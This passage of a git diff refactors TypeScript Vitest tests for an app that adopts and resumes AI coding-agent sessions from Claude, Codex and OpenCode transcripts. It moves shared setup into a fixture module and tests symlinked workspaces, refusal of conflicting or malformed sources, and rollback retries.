'./structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD +} from './structured-agent-session-host-test-data' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { adoptedDirectoryProbes } from '../agent-session-journal/adopted-directory-probe' +import { writeOpenCodeSqliteDatabase } from '../../ai-vault/session-scanner-opencode-sqlite-fixture' +import { structuredAgentRuntimeRegistration } from '../../runtime/structured-agent-runtime-registrations' +import { structuredAgentsDeclaringNothing } from './structured-agent-session-adapter-router-test-support' +import { resolveAgentSessionLaunchDirectory } from '../../runtime/agent-session-launch-directory' +import { createClaudeStructuredLaunchResolver } from '../../runtime/structured-agent-launch-composition.test-support' + +import { fixture } from './structured-agent-session-create-adoption-contract-test-fixture' + +it.each([100, 1000])( + 'imports %s source rows into a linked workspace with one fresh probe and zero replay work', + async (size) => { + const physical = await realpath(fixture.rig.root) + const registered = join(fixture.rig.root, 'registered') + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + const transcriptPath = join(fixture.rig.root, `${THREAD}.jsonl`) + // Captured CLI transcript metadata; relocate fixture identity/cwd into the isolated host. + const captured = ( + await readFile( + join(__dirname, '..', '__fixtures__', 'openclaude-0.31.0-local-command-rows.jsonl'), + 'utf8' + ) + ) + .split('\n') + .filter(Boolean) + .map((line) => JSON.parse(line)) + .find((row) => row.type === 'user' && !row.isMeta) + expect(captured.cwd).toBe('/tmp/project') + await writeFile( + transcriptPath, + `${Array.from({ length: size }, (_, index) => + JSON.stringify({ + ...captured, + uuid: `original-${index}`, + sessionId: THREAD, + cwd: physical, + message: { role: 'user', content: 'original physical-keyed context' } + }) + ).join('\n')}\n` + ) + const params = createTestParams(undefined, { + agent: 'claude', + provider: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: fixture.rig.root }, + adopt: { + providerHandle: claudeProviderHandle(THREAD, null), + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd: registered } + } + }) + const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') + const publishTab = vi.fn(async () => { + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe( + THREAD + ) + }) + const result = await fixture.rig.host.create(CALLER, params, { publishTab }) + expect(result).toMatchObject({ + ok: true, + value: { + page: { + items: expect.arrayContaining([ + expect.objectContaining({ + body: expect.objectContaining({ + blocks: [{ type: 'text', text: 'original physical-keyed context' }] + }) + }) + ]) + } + } + }) + expect(publishTab).toHaveBeenCalledOnce() + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) + expect(params.adopt?.source?.workspaceCwd).toBe(registered) + const record = fixture.rig.store.getRecord(SESSION)! + expect( + await resolveAgentSessionLaunchDirectory( + { store: fixture.rig.store, resolveWorkspacePath: async () => registered }, + record + ) + ).toBe(registered) + expect(record.providerHandleChain[0].handle.nativeId).toBe(THREAD) + const hasTranscript = vi.fn( + async ({ + providerSessionId, + claudeConfigDir + }: { + providerSessionId: string + claudeConfigDir: string + }) => + providerSessionId === THREAD && + claudeConfigDir === fixture.rig.root && + (await readFile(transcriptPath, 'utf8')).includes(THREAD) + ) + const launch = await createClaudeStructuredLaunchResolver({ + store: fixture.rig.store, + resolveWorkspacePath: async () => registered, + resolveCommand: () => ({ command: process.execPath, prefixArgs: [] }), + resolveInheritedEnv: async () => ({}), + resolveAuthPolicy: () => ({ account: 'system' }), + resolveLaunchArgs: () => [], + hasTranscript + })({ + identity: { + sessionId: SESSION, + workspaceId: record.location.workspaceId, + hostId: 'local', + agent: 'claude', + providerHandle: record.providerHandleChain[0].handle + } + }) + expect(launch).toMatchObject({ + cwd: registered, + providerSessionId: THREAD, + claudeConfigDir: fixture.rig.root, + options: { resume: THREAD } + }) + expect(hasTranscript).toHaveBeenCalledWith({ + providerSessionId: THREAD, + claudeConfigDir: fixture.rig.root + }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(probe).toHaveBeenCalledOnce() + await fixture.rig.host.flushAllStreamedEvents() + await fixture.rig.restart() + await rm(transcriptPath) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: true, + replayed: true + }) + expect(probe).toHaveBeenCalledOnce() + } +) + +it('uses current selected ancestors, then refuses retargeted/foreign sources before ownership', async () => { + const physical = join(await realpath(fixture.rig.root), 'physical') + const moved = join(await realpath(fixture.rig.root), 'moved') + const registered = join(fixture.rig.root, 'registered') + await mkdir(physical) + await mkdir(moved) + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + await symlink(moved, join(physical, 'pkg'), process.platform === 'win32' ? 'junction' : 'dir') + const sourceCwd = join(physical, 'pkg') + const workspaceCwd = join(registered, 'pkg') + expect(await realpath(workspaceCwd)).toBe(moved) + const transcriptPath = join(fixture.rig.root, `${THREAD}.jsonl`) + const save = async (sessionId: string, cwd: string) => + writeFile( + transcriptPath, + `${JSON.stringify({ + type: 'user', + uuid: 'original', + sessionId, + cwd, + message: { role: 'user', content: 'ancestor context' } + })}\n` + ) + const params = createTestParams(undefined, { + agent: 'claude', + provider: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: fixture.rig.root }, + adopt: { + providerHandle: claudeProviderHandle(THREAD, null), + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd } + } + }) + const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') + await save('wrong-provider', sourceCwd) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(probe).not.toHaveBeenCalled() + await save(THREAD, join(fixture.rig.root, 'foreign')) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(fixture.rig.store.listRecords()).toEqual([]) + await save(THREAD, sourceCwd) + await rm(registered) + await symlink(moved, registered, process.platform === 'win32' ? 'junction' : 'dir') + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: false }) + expect(fixture.rig.store.listRecords()).toEqual([]) + await rm(registered) + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(probe).toHaveBeenLastCalledWith(workspaceCwd, sourceCwd, expect.any(AbortSignal)) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) +}) + +it.each(['opencode', 'opencode2'] as const)( + 'commits %s actual database history using the same linked-cwd admission', + async (agent) => { + const definition = structuredAgentRuntimeRegistration(agent)!.definition + await fixture.rig.dispose() + fixture.rig = await createRestTestRig({ + agents: structuredAgentsDeclaringNothing([definition]) + }) + const physical = await realpath(fixture.rig.root) + const registered = join(fixture.rig.root, 'registered') + await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') + const transcriptPath = join(fixture.rig.root, 'opencode.db') + writeOpenCodeSqliteDatabase(transcriptPath, [ + { id: THREAD, directory: physical, turns: [{ role: 'user', parts: ['database context'] }] } + ]) + const params = createTestParams(undefined, { + agent, + provider: agent, + accountHome: { kind: 'opencode', locator: { kind: 'unmanaged' } }, + adopt: { + providerHandle: { agent, transport: definition.handleTransport, nativeId: THREAD }, + transcriptPath, + source: { providerSessionId: THREAD, workspaceCwd: registered } + } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe( + THREAD + ) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts new file mode 100644 index 00000000000..d6c51fbe858 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts @@ -0,0 +1,73 @@ +import { writeFile } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import { createRestTestRig, type RestTestRig } from './structured-agent-session-rest-test-rig' +import { createTestParams } from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_THREAD as THREAD, + hostTestOperationId +} from './structured-agent-session-host-test-data' +import type { AgentSessionAttachParams } from './structured-agent-session-attach' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +let rig: RestTestRig + +beforeEach(async () => { + rig = await createRestTestRig({ idleSweep: { intervalMs: 60_000 } }) +}) + +afterEach(async () => { + await rig.dispose() + vi.restoreAllMocks() + vi.unstubAllEnvs() +}) + +export async function adoptedParams(history = 'adopted history', threadId = THREAD) { + const transcriptPath = join(rig.root, 'rollout.jsonl') + await writeFile( + transcriptPath, + [ + JSON.stringify({ + type: 'session_meta', + payload: { id: threadId, timestamp: '2026-09-06T18:00:00.000Z', cwd: rig.root } + }), + JSON.stringify({ + type: 'response_item', + timestamp: '2026-09-06T18:00:01.000Z', + payload: { type: 'message', role: 'user', content: history } + }) + ].join('\n') + ) + return createTestParams(undefined, { + adopt: { providerHandle: codexProviderHandle(threadId), transcriptPath } + }) +} + +export function anotherSession(params: AgentSessionAttachParams): AgentSessionAttachParams { + return createTestParams(undefined, { + ...params, + envelope: { + ...params.envelope, + sessionId: 'session-second', + clientOperationId: hostTestOperationId() + } + }) +} + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts new file mode 100644 index 00000000000..13cb15d897c --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts @@ -0,0 +1,236 @@ +import { writeFile, rm } from 'node:fs/promises' +vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { + const query = await import('../transcript-opencode-sqlite-query') + return { + ...(await original()), + readOpenCodeTranscriptPageViaWorker: query.readOpenCodeTranscriptPage, + readOpenCodeTranscriptSignalViaWorker: async (args: { dbPath: string; sessionId: string }) => + query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) + } +}) +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { restTestSend } from './structured-agent-session-rest-test-rig' +import { + createTestParams, + stopCreatedChat, + CREATE_TEST_CALLER as CALLER +} from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestOperationId, + hostTestMessage +} from './structured-agent-session-host-test-data' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + adoptedParams, + anotherSession +} from './structured-agent-session-create-adoption-contract-test-fixture' + +it('imports adoption at rest and resumes its original provider identity after its source disappears', async () => { + const params = await adoptedParams() + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: true, + value: { + page: { + items: expect.arrayContaining([ + expect.objectContaining({ + body: expect.objectContaining({ blocks: [{ type: 'text', text: 'adopted history' }] }) + }) + ]) + } + } + }) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ + { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } + ]) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + await rm(join(fixture.rig.root, 'rollout.jsonl')) + expect( + await fixture.rig.host.create(CALLER, { + ...params, + accountHome: { variable: 'CODEX_HOME', path: '/drifted/account' }, + adopt: { providerHandle: codexProviderHandle(THREAD) } + }) + ).toMatchObject({ ok: true, replayed: true }) + expect(await fixture.rig.host.send(CALLER, restTestSend('new work'))).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(fixture.rig.adapter.dispatch).toHaveBeenCalledOnce()) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledWith( + expect.objectContaining({ + identity: expect.objectContaining({ + providerHandle: expect.objectContaining({ nativeId: THREAD }) + }) + }) + ) + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) +}) + +it('refuses concurrent adoption of a provider conversation by another session', async () => { + const params = await adoptedParams() + const results = await Promise.all([ + fixture.rig.host.create(CALLER, params), + fixture.rig.host.create(CALLER, anotherSession(params)) + ]) + expect(results.filter((result) => result.ok)).toHaveLength(1) + expect(results.filter((result) => !result.ok)).toMatchObject([ + { + refusal: { + code: 'agent_session_conflict', + details: { + reason: 'conversationHeldElsewhere', + owner: { sessionId: expect.any(String), workspaceId: params.location.workspaceId } + }, + createAttemptRefusedBeforeCommit: true + } + } + ]) + expect(fixture.rig.store.listRecords()).toHaveLength(1) + expect(fixture.rig.store.listOperationRows()).toHaveLength(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it('refuses concurrent founding under a tab another chat already owns', async () => { + const params = createTestParams(undefined, { surfaceTabId: 'reserved-chat-tab' }) + const results = await Promise.all([ + fixture.rig.host.create(CALLER, params), + fixture.rig.host.create(CALLER, anotherSession(params)) + ]) + expect(results.filter((result) => result.ok)).toHaveLength(1) + expect(results.filter((result) => !result.ok)).toMatchObject([ + { refusal: { code: 'agent_session_conflict', details: { reason: 'tabIdTaken' } } } + ]) + expect(fixture.rig.store.listVisibleSessionIds()).toHaveLength(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it.each(['missing', 'empty', 'malformed'] as const)( + 'refuses %s history before founding anything', + async (source) => { + const params = await adoptedParams() + await (source === 'missing' + ? rm(join(fixture.rig.root, 'rollout.jsonl')) + : writeFile( + join(fixture.rig.root, 'rollout.jsonl'), + source === 'empty' ? '' : '{broken json}\n' + )) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: false, + refusal: { + code: 'agent_session_identity_required', + details: { reason: source === 'empty' ? 'transcriptNotFound' : 'transcriptUnreadable' }, + createAttemptRefusedBeforeCommit: true + } + }) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) + } +) + +it('does not found a record whose account namespace its agent cannot drive', async () => { + const params = createTestParams(undefined, { + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: '/wrong/account' } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ + ok: false, + refusal: { code: 'structured_agent_session_unsupported' } + }) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) +}) + +it.each([ + { executionHostId: 'local', wslDistro: null }, + { executionHostId: 'ssh:host-1', wslDistro: null }, + { executionHostId: 'local', wslDistro: 'Ubuntu' }, + { executionHostId: 'runtime:paired-host', wslDistro: null } +] as const)( + 'preserves folder execution identity at rest: $executionHostId $wslDistro', + async (location) => { + const params = createTestParams(undefined, { + location: { ...location, workspaceId: 'folder-1', workspaceKind: 'folder' } + }) + expect(await fixture.rig.host.create(CALLER, params)).toMatchObject({ ok: true }) + expect(fixture.rig.store.getRecord(SESSION)?.location).toEqual(params.location) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) + +it('pins the host-resolved directory of a floating chat before any acquire', async () => { + const params = createTestParams(undefined, { + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: FLOATING_TERMINAL_WORKTREE_ID, + workspaceKind: 'folder' + } + }) + expect( + await fixture.rig.host.create(CALLER, params, { hostLaunchDirectory: fixture.rig.root }) + ).toMatchObject({ + ok: true + }) + expect(fixture.rig.store.getRecord(SESSION)?.launchDirectory).toBe(fixture.rig.root) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it.each(['adopted', 'blank'] as const)( + 'retries a rolled-back create with only the new %s history', + async (nextSource) => { + const first = { clientMessageId: hostTestOperationId(), body: hostTestMessage('first attempt') } + const adopted = await adoptedParams('old imported history') + const db = openTestJournalHostDatabase(fixture.rig.root).db + db.exec( + `CREATE TRIGGER refuse_first BEFORE INSERT ON journal_outcomes WHEN NEW.field = 'submissions' BEGIN SELECT RAISE(ABORT, 'simulated first write failure'); END` + ) + expect( + await fixture.rig.host.create(CALLER, createTestParams(first, adopted), { + firstMessage: first + }) + ).toMatchObject({ ok: false }) + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect(fixture.rig.store.listOperationRows()).toEqual([]) + db.exec('DROP TRIGGER refuse_first') + const next = { clientMessageId: hostTestOperationId(), body: hostTestMessage('next attempt') } + const nextParams = + nextSource === 'adopted' + ? await adoptedParams('new imported history', '019fd532-7c11-7a90-b6de-4e1a2c3d5f61') + : createTestParams() + let stopping: ReturnType | undefined + const result = await fixture.rig.host.create( + CALLER, + createTestParams(next, { + ...nextParams, + envelope: { ...nextParams.envelope, clientOperationId: hostTestOperationId() } + }), + { + firstMessage: next, + publishTab: async () => { + stopping = stopCreatedChat(fixture.rig.host) + } + } + ) + expect(result).toMatchObject({ ok: true }) + if (!result.ok) { + throw new Error('retry create failed') + } + const history = (text: string) => + expect.objectContaining({ + body: expect.objectContaining({ blocks: [{ type: 'text', text }] }) + }) + expect(result.value.page.items).not.toEqual( + expect.arrayContaining([history('old imported history')]) + ) + if (nextSource === 'adopted') { + expect(result.value.page.items).toEqual( + expect.arrayContaining([history('new imported history')]) + ) + } + expect(await stopping).toMatchObject({ ok: true }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts index bc074176eac..e3b6bb3ca94 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption.test.ts @@ -1,36 +1,4 @@ -import { mkdir, realpath, rename, writeFile, rm, symlink, readFile } from 'node:fs/promises' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { - createRestTestRig, - restTestSend, - type RestTestRig -} from './structured-agent-session-rest-test-rig' -import { - createTestParams, - stopCreatedChat, - CREATE_TEST_CALLER as CALLER -} from './structured-agent-session-create-test-fixture' -import { - HOST_TEST_SESSION as SESSION, - HOST_TEST_THREAD as THREAD, - hostTestOperationId, - hostTestMessage -} from './structured-agent-session-host-test-data' -import type { AgentSessionAttachParams } from './structured-agent-session-attach' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' -import { - claudeProviderHandle, - codexProviderHandle -} from '../../../shared/agent-session-provider-handle-encoding' -import { adoptedDirectoryProbes } from '../agent-session-journal/adopted-directory-probe' -import { writeOpenCodeSqliteDatabase } from '../../ai-vault/session-scanner-opencode-sqlite-fixture' -import { structuredAgentRuntimeRegistration } from '../../runtime/structured-agent-runtime-registrations' -import { structuredAgentsDeclaringNothing } from './structured-agent-session-adapter-router-test-support' -import { resolveAgentSessionLaunchDirectory } from '../../runtime/agent-session-launch-directory' -import { createClaudeStructuredLaunchResolver } from '../../runtime/structured-agent-launch-composition.test-support' - +import { mkdir, realpath, rename, writeFile } from 'node:fs/promises' vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (original) => { const query = await import('../transcript-opencode-sqlite-query') return { @@ -40,7 +8,16 @@ vi.mock('../../ai-vault/session-scanner-opencode-sqlite-worker-spawn', async (or query.readOpenCodeTranscriptSignal(args.dbPath, args.sessionId) } }) - +import { join } from 'node:path' +import { expect, it, vi } from 'vitest' +import { + createTestParams, + CREATE_TEST_CALLER as CALLER +} from './structured-agent-session-create-test-fixture' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD +} from './structured-agent-session-host-test-data' import { codexLegacyMirrorRecords, writeCodexHistoryFixture @@ -52,47 +29,7 @@ import { } from '../../runtime/structured-agent-session-create-adoption' import { prepareCodexAiVaultSessionResume } from '../../codex/codex-ai-vault-session-resume' -let rig: RestTestRig -beforeEach(async () => { - rig = await createRestTestRig({ idleSweep: { intervalMs: 60_000 } }) -}) -afterEach(async () => { - await rig.dispose() - vi.restoreAllMocks() - vi.unstubAllEnvs() -}) - -async function adoptedParams(history = 'adopted history', threadId = THREAD) { - const transcriptPath = join(rig.root, 'rollout.jsonl') - await writeFile( - transcriptPath, - [ - JSON.stringify({ - type: 'session_meta', - payload: { id: threadId, timestamp: '2026-09-06T18:00:00.000Z', cwd: rig.root } - }), - JSON.stringify({ - type: 'response_item', - timestamp: '2026-09-06T18:00:01.000Z', - payload: { type: 'message', role: 'user', content: history } - }) - ].join('\n') - ) - return createTestParams(undefined, { - adopt: { providerHandle: codexProviderHandle(threadId), transcriptPath } - }) -} - -function anotherSession(params: AgentSessionAttachParams): AgentSessionAttachParams { - return createTestParams(undefined, { - ...params, - envelope: { - ...params.envelope, - sessionId: 'session-second', - clientOperationId: hostTestOperationId() - } - }) -} +import { fixture } from './structured-agent-session-create-adoption-contract-test-fixture' it.each([ ['matching', THREAD], @@ -101,8 +38,8 @@ it.each([ ] as const)( 'resolves a selected-account rollout with %s metadata before at-rest publication', async (_kind, metadataId) => { - vi.stubEnv('ORCA_USER_DATA_PATH', join(rig.root, 'host-data')) - const accountHome = { variable: 'CODEX_HOME', path: join(rig.root, 'selected-account') } + vi.stubEnv('ORCA_USER_DATA_PATH', join(fixture.rig.root, 'host-data')) + const accountHome = { variable: 'CODEX_HOME', path: join(fixture.rig.root, 'selected-account') } const sessions = join(accountHome.path, 'sessions') await mkdir(sessions, { recursive: true }) const rollout = await writeCodexHistoryFixture( @@ -116,7 +53,7 @@ it.each([ await writeFile( rollout.filePath, [ - { type: 'session_meta', payload: { id: THREAD, cwd: rig.root } }, + { type: 'session_meta', payload: { id: THREAD, cwd: fixture.rig.root } }, ...codexLegacyMirrorRecords() ] .map((record) => JSON.stringify(record)) @@ -138,11 +75,11 @@ it.each([ providerSessionId: THREAD, selectedAccountHome: accountHome, launchEnv: {}, - workspaceCwd: rig.root, + workspaceCwd: fixture.rig.root, prepareCodexResume: (args) => prepareCodexAiVaultSessionResume(args, { runtimeHome: null, - systemCodexHomePath: join(rig.root, 'system-account'), + systemCodexHomePath: join(fixture.rig.root, 'system-account'), preparePinnedLaunchHome: async () => { throw new Error('At-rest adoption must not ready a fork launch') } @@ -152,7 +89,7 @@ it.each([ expect(adoption.transcriptPath).toBe( await realpath(join(sessions, `rollout-2026-10-27T00-00-00-${THREAD}.jsonl`)) ) - const result = await rig.host.create( + const result = await fixture.rig.host.create( CALLER, createTestParams(undefined, { accountHome: adoption.accountHome, @@ -166,12 +103,12 @@ it.each([ }) ?? undefined, transcriptPath: adoption.transcriptPath, providerSessionId: THREAD, - workspaceCwd: rig.root + workspaceCwd: fixture.rig.root }) }) ) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.dispatch).not.toHaveBeenCalled() + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.dispatch).not.toHaveBeenCalled() if (metadataId !== THREAD) { expect(result).toMatchObject({ ok: false, @@ -181,16 +118,16 @@ it.each([ createAttemptRefusedBeforeCommit: true } }) - expect(rig.store.listRecords()).toEqual([]) - expect(rig.store.listOperationRows()).toEqual([]) - expect(rig.store.listVisibleSessionIds()).toEqual([]) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) + expect(fixture.rig.store.listVisibleSessionIds()).toEqual([]) return } expect(result.ok).toBe(true) if (!result.ok) { throw new Error('Real selected-account adoption failed') } - const snapshot = await rig.host.journalSnapshot(SESSION) + const snapshot = await fixture.rig.host.journalSnapshot(SESSION) expect(snapshot.items.map(({ body }) => body)).toEqual( _kind === 'legacy' ? [ @@ -212,407 +149,10 @@ it.each([ ] ) expect(result.value.page.items).toEqual(snapshot.items) - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(accountHome) - expect(rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(accountHome) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } ]) - expect(rig.store.listVisibleSessionIds()).toEqual([SESSION]) - } -) - -it.each([100, 1000])( - 'imports %s source rows into a linked workspace with one fresh probe and zero replay work', - async (size) => { - const physical = await realpath(rig.root) - const registered = join(rig.root, 'registered') - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - const transcriptPath = join(rig.root, `${THREAD}.jsonl`) - // Captured CLI transcript metadata; relocate fixture identity/cwd into the isolated host. - const captured = ( - await readFile( - join(__dirname, '..', '__fixtures__', 'openclaude-0.31.0-local-command-rows.jsonl'), - 'utf8' - ) - ) - .split('\n') - .filter(Boolean) - .map((line) => JSON.parse(line)) - .find((row) => row.type === 'user' && !row.isMeta) - expect(captured.cwd).toBe('/tmp/project') - await writeFile( - transcriptPath, - `${Array.from({ length: size }, (_, index) => - JSON.stringify({ - ...captured, - uuid: `original-${index}`, - sessionId: THREAD, - cwd: physical, - message: { role: 'user', content: 'original physical-keyed context' } - }) - ).join('\n')}\n` - ) - const params = createTestParams(undefined, { - agent: 'claude', - provider: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: rig.root }, - adopt: { - providerHandle: claudeProviderHandle(THREAD, null), - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd: registered } - } - }) - const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') - const publishTab = vi.fn(async () => { - expect(rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe(THREAD) - }) - const result = await rig.host.create(CALLER, params, { publishTab }) - expect(result).toMatchObject({ - ok: true, - value: { - page: { - items: expect.arrayContaining([ - expect.objectContaining({ - body: expect.objectContaining({ - blocks: [{ type: 'text', text: 'original physical-keyed context' }] - }) - }) - ]) - } - } - }) - expect(publishTab).toHaveBeenCalledOnce() - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) - expect(params.adopt?.source?.workspaceCwd).toBe(registered) - const record = rig.store.getRecord(SESSION)! - expect( - await resolveAgentSessionLaunchDirectory( - { store: rig.store, resolveWorkspacePath: async () => registered }, - record - ) - ).toBe(registered) - expect(record.providerHandleChain[0].handle.nativeId).toBe(THREAD) - const hasTranscript = vi.fn( - async ({ - providerSessionId, - claudeConfigDir - }: { - providerSessionId: string - claudeConfigDir: string - }) => - providerSessionId === THREAD && - claudeConfigDir === rig.root && - (await readFile(transcriptPath, 'utf8')).includes(THREAD) - ) - const launch = await createClaudeStructuredLaunchResolver({ - store: rig.store, - resolveWorkspacePath: async () => registered, - resolveCommand: () => ({ command: process.execPath, prefixArgs: [] }), - resolveInheritedEnv: async () => ({}), - resolveAuthPolicy: () => ({ account: 'system' }), - resolveLaunchArgs: () => [], - hasTranscript - })({ - identity: { - sessionId: SESSION, - workspaceId: record.location.workspaceId, - hostId: 'local', - agent: 'claude', - providerHandle: record.providerHandleChain[0].handle - } - }) - expect(launch).toMatchObject({ - cwd: registered, - providerSessionId: THREAD, - claudeConfigDir: rig.root, - options: { resume: THREAD } - }) - expect(hasTranscript).toHaveBeenCalledWith({ - providerSessionId: THREAD, - claudeConfigDir: rig.root - }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(probe).toHaveBeenCalledOnce() - await rig.host.flushAllStreamedEvents() - await rig.restart() - await rm(transcriptPath) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) - expect(probe).toHaveBeenCalledOnce() - } -) - -it('uses current selected ancestors, then refuses retargeted/foreign sources before ownership', async () => { - const physical = join(await realpath(rig.root), 'physical') - const moved = join(await realpath(rig.root), 'moved') - const registered = join(rig.root, 'registered') - await mkdir(physical) - await mkdir(moved) - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - await symlink(moved, join(physical, 'pkg'), process.platform === 'win32' ? 'junction' : 'dir') - const sourceCwd = join(physical, 'pkg') - const workspaceCwd = join(registered, 'pkg') - expect(await realpath(workspaceCwd)).toBe(moved) - const transcriptPath = join(rig.root, `${THREAD}.jsonl`) - const save = async (sessionId: string, cwd: string) => - writeFile( - transcriptPath, - `${JSON.stringify({ - type: 'user', - uuid: 'original', - sessionId, - cwd, - message: { role: 'user', content: 'ancestor context' } - })}\n` - ) - const params = createTestParams(undefined, { - agent: 'claude', - provider: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: rig.root }, - adopt: { - providerHandle: claudeProviderHandle(THREAD, null), - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd } - } - }) - const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') - await save('wrong-provider', sourceCwd) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(probe).not.toHaveBeenCalled() - await save(THREAD, join(rig.root, 'foreign')) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(rig.store.listRecords()).toEqual([]) - await save(THREAD, sourceCwd) - await rm(registered) - await symlink(moved, registered, process.platform === 'win32' ? 'junction' : 'dir') - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(rig.store.listRecords()).toEqual([]) - await rm(registered) - await symlink(physical, registered, process.platform === 